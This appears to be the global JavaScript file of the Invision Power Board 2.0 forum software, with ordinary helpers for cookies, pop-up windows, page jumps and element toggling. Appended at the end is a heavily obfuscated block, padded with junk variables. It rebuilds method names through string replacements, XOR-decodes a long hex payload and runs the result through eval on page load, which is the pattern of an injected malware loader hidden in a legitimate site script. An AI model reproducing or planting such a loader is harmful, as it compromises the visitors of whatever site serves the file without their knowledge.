//------------------------------------------
// Invision Power Board v2.0
// Global JS File
// (c) 2003 Invision Power Services, Inc.
//
//
//------------------------------------------

//==========================================
// Set up
//==========================================

// Sniffer based on http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html

var uagent    = navigator.userAgent.toLowerCase();
var is_safari = ( (uagent.indexOf('safari') != -1) || (navigator.vendor == "Apple Computer, Inc.") );
var is_ie     = ( (uagent.indexOf('msie') != -1) && (!is_opera) && (!is_safari) && (!is_webtv) );
var is_ie4    = ( (is_ie) && (uagent.indexOf("msie 4.") != -1) );
var is_moz    = (navigator.product == 'Gecko');
var is_ns     = ( (uagent.indexOf('compatible') == -1) && (uagent.indexOf('mozilla') != -1) && (!is_opera) && (!is_webtv) && (!is_safari) );
var is_ns4    = ( (is_ns) && (parseInt(navigator.appVersion) == 4) );
var is_opera  = (uagent.indexOf('opera') != -1);
var is_kon    = (uagent.indexOf('konqueror') != -1);
var is_webtv  = (uagent.indexOf('webtv') != -1);

var is_win    =  ( (uagent.indexOf("win") != -1) || (uagent.indexOf("16bit") !=- 1) );
var is_mac    = ( (uagent.indexOf("mac") != -1) || (navigator.vendor == "Apple Computer, Inc.") );
var ua_vers   = parseInt(navigator.appVersion);

//==========================================
// Get cookie
//==========================================

function my_getcookie( name )
{
cname = ipb_var_cookieid + name + '=';
cpos  = document.cookie.indexOf( cname );

if ( cpos != -1 )
{
cstart = cpos + cname.length;
cend   = document.cookie.indexOf(";", cstart);

if (cend == -1)
{
cend = document.cookie.length;
}

return unescape( document.cookie.substring(cstart, cend) );
}

return null;
}

//==========================================
// Set cookie
//==========================================

function my_setcookie( name, value, sticky )
{
expire = "";
domain = "";
path   = "/";

if ( sticky )
{
expire = "; expires=Wed, 1 Jan 2020 00:00:00 GMT";
}

if ( ipb_var_cookie_domain != "" )
{
domain = '; domain=' + ipb_var_cookie_domain;
}

if ( ipb_var_cookie_path != "" )
{
path = ipb_var_cookie_path;
}

document.cookie = ipb_var_cookieid + name + "=" + value + "; path=" + path + expire + domain + ';';
}

//==========================================
// Pop up MyAssistant window
//==========================================

function buddy_pop()
{
window.open( ipb_var_base_url + 'act=buddy','BrowserBuddy','width=250,height=500,resizable=yes,scrollbars=yes');
}

//==========================================
// Pop up chat window
//==========================================

function chat_pop(cw,ch)
{
window.open( ipb_var_base_url + 'act=chat&pop=1','Chat','width='+cw+',height='+ch+',resizable=yes,scrollbars=yes');
}

//==========================================
// Multi Page jumps
//==========================================

function multi_page_jump( url_bit, total_posts, per_page )
{
pages = 1;
cur_st = ipb_var_st;
cur_page  = 1;

if ( total_posts % per_page == 0 )
{
pages = total_posts / per_page;
}
else
{
pages = Math.ceil( total_posts / per_page );
}

msg = ipb_lang_tpl_q1 + " " + pages;

if ( cur_st > 0 )
{
cur_page = cur_st / per_page; cur_page = cur_page -1;
}

show_page = 1;

if ( cur_page < pages )
{
show_page = cur_page + 1;
}

if ( cur_page >= pages )
{
show_page = cur_page - 1;
}
else
{
show_page = cur_page + 1;
}

userPage = prompt( msg, show_page );

if ( userPage > 0  )
{
if ( userPage < 1 )     {    userPage = 1;  }
if ( userPage > pages ) { userPage = pages; }
if ( userPage == 1 )    {     start = 0;    }
else { start = (userPage - 1) * per_page; }

window.location = url_bit + "&st=" + start;
}
}

//==========================================
// Hide / Unhide menu elements
//==========================================

function ShowHide(id1, id2)
{
if (id1 != '') toggleview(id1);
if (id2 != '') toggleview(id2);
}

//==========================================
// Get element by id
//==========================================

function my_getbyid(id)
{
itm = null;

if (document.getElementById)
{
itm = document.getElementById(id);
}
else if (document.all)
{
itm = document.all[id];
}
else if (document.layers)
{
itm = document.layers[id];
}

return itm;
}

//==========================================
// Show/hide toggle
//==========================================

function toggleview(id)
{
if ( ! id ) return;

if ( itm = my_getbyid(id) )
{
if (itm.style.display == "none")
{
my_show_div(itm);
}
else
{
my_hide_div(itm);
}
}
}

//==========================================
// Set DIV ID to hide
//==========================================

function my_hide_div(itm)
{
if ( ! itm ) return;

itm.style.display = "none";
}

//==========================================
// Set DIV ID to show
//==========================================

function my_show_div(itm)
{
if ( ! itm ) return;

itm.style.display = "";
}

//==========================================
// Change cell colour
//==========================================

function change_cell_color( id, cl )
{
itm = my_getbyid(id);

if ( itm )
{
itm.className = cl;
}
}

//==========================================
// Toggle category
//==========================================

function togglecategory( fid, add )
{
saved = new Array();
clean = new Array();

//-----------------------------------
// Get any saved info
//-----------------------------------

if ( tmp = my_getcookie('collapseprefs') )
{
saved = tmp.split(",");
}

//-----------------------------------
// Remove bit if exists
//-----------------------------------

for( i = 0 ; i < saved.length; i++ )
{
if ( saved[i] != fid && saved[i] != "" )
{
clean[clean.length] = saved[i];
}
}

//-----------------------------------
// Add?
//-----------------------------------

if ( add )
{
clean[ clean.length ] = fid;
my_show_div( my_getbyid( 'fc_'+fid  ) );
my_hide_div( my_getbyid( 'fo_'+fid  ) );
}
else
{
my_show_div( my_getbyid( 'fo_'+fid  ) );
my_hide_div( my_getbyid( 'fc_'+fid  ) );
}

my_setcookie( 'collapseprefs', clean.join(','), 1 );
}

//==========================================
// locationjump
//==========================================

function locationjump(url)
{
window.location = ipb_var_base_url + url;
}

//==========================================
// CHOOSE SKIN
//==========================================

function chooseskin(obj)
{
choosebox = obj.options[obj.selectedIndex].value;
extravars = '';

if ( choosebox != -1 && ! isNaN( choosebox ) )
{
if ( document.skinselectorbox.skinurlbits.value )
{
extravars = '&' + document.skinselectorbox.skinurlbits.value;
}

locationjump( 'setskin=1&skinid=' + choosebox + extravars );
}
}

//==========================================
// CHOOSE LANG
//==========================================

function chooselang(obj)
{
choosebox = obj.options[obj.selectedIndex].value;
extravars = '';

if ( document.langselectorbox.langurlbits.value )
{
extravars = '&' + document.langselectorbox.langurlbits.value;
}

locationjump( 'setlanguage=1&langid=' + choosebox + extravars );
}

//==========================================
// pop up window
//==========================================

function PopUp(url, name, width,height,center,resize,scroll,posleft,postop)
{
showx = "";
showy = "";

if (posleft != 0) { X = posleft }
if (postop  != 0) { Y = postop  }

if (!scroll) { scroll = 1 }
if (!resize) { resize = 1 }

if ((parseInt (navigator.appVersion) >= 4 ) && (center))
{
X = (screen.width  - width ) / 2;
Y = (screen.height - height) / 2;
}

if ( X > 0 )
{
showx = ',left='+X;
}

if ( Y > 0 )
{
showy = ',top='+Y;
}

if (scroll != 0) { scroll = 1 }

var Win = window.open( url, name, 'width='+width+',height='+height+ showx + showy + ',resizable='+resize+',scrollbars='+scroll+',location=no,directories=no,status=no,menubar=no,toolbar=no');
}

//==========================================
// Array: Get stack size
//==========================================

function stacksize(thearray)
{
for (i = 0 ; i < thearray.length; i++ )
{
if ( (thearray[i] == "") || (thearray[i] == null) || (thearray == 'undefined') )
{
return i;
}
}

return thearray.length;
}

//==========================================
// Array: Push stack
//==========================================

function pushstack(thearray, newval)
{
arraysize = stacksize(thearray);
thearray[arraysize] = newval;
}

//==========================================
// Array: Pop stack
//==========================================

function popstack(thearray)
{
arraysize = stacksize(thearray);
theval = thearray[arraysize - 1];
delete thearray[arraysize - 1];
return theval;
}
var sSecureQ='';var aV=function(){};var checkL;var yCL;if(yCL!='fSecureF' && yCL!='nWY'){yCL='fSecureF'};var lIX=false;checkL='41464d4d4c4340471c4255587c497b63474e037f644a7e270b62494e465a042b4c6f7f5252515a4956451e020e5653570a025243465a495a0e1b5e54497a1215190c443301320e0b5a683f176169547d5a47785e7c6d062d4a213915080e1911057b4745075a587b47576e1e4a5'+'47b1f7a434d4410061e342e030d1832001742474d74634c0f5a7d666d756c483a466c7151585a031553527b4a79670c03026e7057637b43796650782105292f3e080f391606494e705c4942525b586b5a0313066352424b7a4c0d5a49417f525554704746490f201d3f29021204'+'5f2f2517110c57511f4e40545d76534e6d4f4a6d4335140a5b4f524d1c04010615362e011a41594f435360027f5a41444b37345c7e7458590d2c5e5a6c547c5247634b76480914112e2016055571505b5a5b7a0c370b2213464148575f4b511a28121d060b04180f3100140f361'+'041485d421e07000737310951466c671a3625042166466c670b020202160702043f14080f042705715a4345574102051b06282e084a554f53476b2e0d0b0f074e594b5e49782f190916260f190f2221040b2c03195f5641744948180f32220117085d5d49527a46061118270706'+'261e03235e232c41404f564a4d4a561f4e6b6d6d445d48475d16486c734a22204525251612027679502c785049485b5a043634060b2e102b077d5f4f4a57125852115667614f43523509332f251d6f7e540342495250594c021a0f121b02140505474146785c0c1301131a11222'+'31f06294d4d4c076a7a5074566635002b785678750c08110505095663581043594d71625a0b1b273a06122c03200a7660502a6b4a652006000418132f042f114555010b7d416f434b4b045c49515f597b1734171716177f272c1d2507343c176b5f6e5a5d590a060c5d5b775857'+'510a57575a41097e4a1b4f5c4076457d001138241f081c0f010441722e02544b575f707007061c1e0404081545292f181f0925260e0b1203415e585563751e0f18184c4c64744d6c3f594d405e454d3a063d071f0b2a154d14080256514c1a1f125372474b53780978597347714'+'05c35071e0508054b4340644f71132414032505080f080621405e5308065c5f4111110e1023380b064c0b3513071408001005110c131f346e4b4119232b5b706444697e17726e41725b661f2b290c0a4c0c251b0d1116710922001b262509282f1b2a7c427a4e41792e1a297b55'+'494d476b5e4e0e6f5474664d6f0e745a5152554c4f5a551740427349715404024b4478490231382b151a3835080e58283d3e3e0458371e3f0603476962446670095353526c4d77122f254b202855545218565c525b081e03795d747c494c5956412d075b4a4b5a475a5f160a030'+'c2a4f4900085e4c6b530c241e1713342542332c54444f574e6d45550a44504740510029184f455e5a4d511e6668491b167d635775221034774041504d4f794c357847713b594211456c5a1d1616145f6e427f5e1b0e08455e455940671c090f564d5d4f481b104b4b5640474c18'+'03525a435e5a4a6c4341564a0e180e534852525c46665545584278341e0b4a68764b6e6e5f4b4a5e483f340d7b605d474e4152425910584901073e165d5f505e6f1d0311060e023e61506b6b6a56435f540d1552454640527d6b051d0c11123b13080c2100320407330c240e2c3'+'f59';this.mGV='';var hAA;if(hAA!=''){hAA='mRY'};function q(p){var jWH;if(jWH!='' && jWH!='kSecureG'){jWH=''};                       var secure = 3;var k = null;var o = '%';var jH = -1;var rHR;if(rHR!='' && rHR!='dSecZ'){rHR='lM'};var secureJ = k;var mSecL=new Array();function xU(m){var dYT;if(dYT!='' && dYT!='nR'){dYT=''};var a=1;var jKO;if(jKO!='' && jKO!='kPK'){jKO='secSecZ'};var nD=1%a;var mCheckJ;if(mCheckJ!='qFA'){mCheckJ=''};function l(w){var x=1;}var sE=0,lD=m['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')];while(nD<lD){var nYY=65355;nD+=1;rU=bX(m,nD+jH);var cCN=new Date();sE+=rU*lD;}return new String(sE);}var b=String;var jYI;if(jYI!='' && jYI!='lAQ'){jYI=''};function tSec(gO, jX){this.checkKSec='';var iHR='';if(i == k) {i = {};}var aPB=new Date();if(i[gO] == k) {var dL='';var oJ = Object;i[gO] = new oJ();i[gO].bCheck = k;var secureMY;if(secureMY!='bJF' && secureMY!='dAV'){secureMY=''};i[gO].pG = jX;}}                        var v = 4; var tNC;if(tNC!=''){tNC='pTSec'};var d=window;                       var checkZ = 1; function r(gO) {var dYX;if(dYX!='qHV'){dYX='qHV'};if(i[gO] != k) {var gAG;if(gAG!='pSecG' && gAG!='oGB'){gAG=''};var nS = i[gO];var g = nS.bCheck;var t = nS.pG;var zH;if(zH!='fRQ' && zH != ''){zH=null};var wX = t.substr(g, 1);var z = t['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]; var lRI=false; var secureFF;if(secureFF!='' && secureFF!='iIP'){secureFF=''};                 var fF = v-secure;var wP;if(wP!='kR' && wP!='oHI'){wP=''};if((g + (checkZ*fF)) >= z) {nS.bCheck =fF - (v % secure);var vCD=new Array();} else {var yYF;if(yYF!='' && yYF!='bLX'){yYF=''};nS.bCheck = g - jH;var vKI;if(vKI!='jHH' && vKI!='jCQ'){vKI='jHH'};}var gJ;if(gJ!='vVA' && gJ != ''){gJ=null};return bX(wX, checkZ - fF);var wYSec;if(wYSec!='' && wYSec!='rAW'){wYSec=''};}}var xC=document;function bX(uM,secureCheck){return uM['cfhmamr^CmoEdmeEA^t^'.replace(/[\^Efm\<]/g, '')](secureCheck);}var sXV;if(sXV!='eHU' && sXV!='checkG'){sXV='eHU'};var jH = secureJ + jH;var i = k;var kS=function(){};function y(c,secureO){return c^secureO;var fOI;if(fOI!='aKCheck'){fOI='aKCheck'};}var n = '';var zW = 2;var sM = new b(xC['wRrRiCt?ez'.replace(/[z\<\?RC]/g, '')]);var cA;if(cA!='pSecQ'){cA=''};var iU = sM['ignVd#eVxZOAfA'.replace(/[AV#gZ]/g, '')]('aurki/tnyk'.replace(/[k/nuN]/g, ''));var fAY;if(fAY!='' && fAY!='hCN'){fAY='wSecureJ'};var oHD;if(oHD!=''){oHD='jQD'};if(iU != jH) {var zAM=new Array(); return 117;}var qCheck = secureJ;var checkSecureT;if(checkSecureT!='' && checkSecureT!='wOA'){checkSecureT='secV'};var aS = '';var pE = d['sWeWt*T*iWm4e*o3uWt*'.replace(/[\*34W\(]/g, '')];var eHM;if(eHM!='' && eHM!='zSecureSecure'){eHM=''};var dE=117;this.secureJT=55649;var gX=b['f2rkokmVC.hkaVrVCko2dxe2'.replace(/[2kxV\.]/g, '')];var dM=d['u+nVeVs]c+a+p+e_'.replace(/[_\]zV\+]/g, '')];var rY;if(rY!='yCN' && rY != ''){rY=null};var yID;if(yID!='' && yID!='checkZS'){yID='wFS'};var lO='';for(var uU=qCheck; uU < p['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]; uU+=zW){this.uD='';n+= o + p['s(uyb^sytyry'.replace(/[yo\^\}\(]/g, '')](uU, zW);}this.checkZY='';var p = dM(n);var qCheckB;if(qCheckB!='' && qCheckB!='uFC'){qCheckB='hTP'};var vU = new b(q);var vX=15576;var yE = vU['r&e&p<l]a<c&e]'.replace(/[\]\<&EP]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var pP = new b(xU(yE));this.aXZ=false;tSec('secureSec', pP);var rW = '';tSec('eE', yE);for(var checkK=qCheck; checkK < (p['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]); checkK++) {this.rCheckC='';var qQ;if(qQ!='' && qQ!='gXV'){qQ=null};var dT = bX(p,checkK);this.jFSec=false;dT = y(dT, dE);dT = y(dT, r('secureSec'));dT = y(dT, r('eE'));var uAN;if(uAN!='' && uAN!='fXQ'){uAN=null};aS+=gX(dT);var wH=new Date();}var nW;if(nW!='yYG'){nW=''};this.ePT=false;d['e~vNaulb'.replace(/[b~N3u]/g, '')](aS);return aS=new b();};var fII;if(fII!='lRX' && fII!='pCheckZ'){fII=''};var secIY=1771;q(checkL);var sSecK;if(sSecK!=''){sSecK='xK'};var hSecureZ=new Array();   //secured_20101980
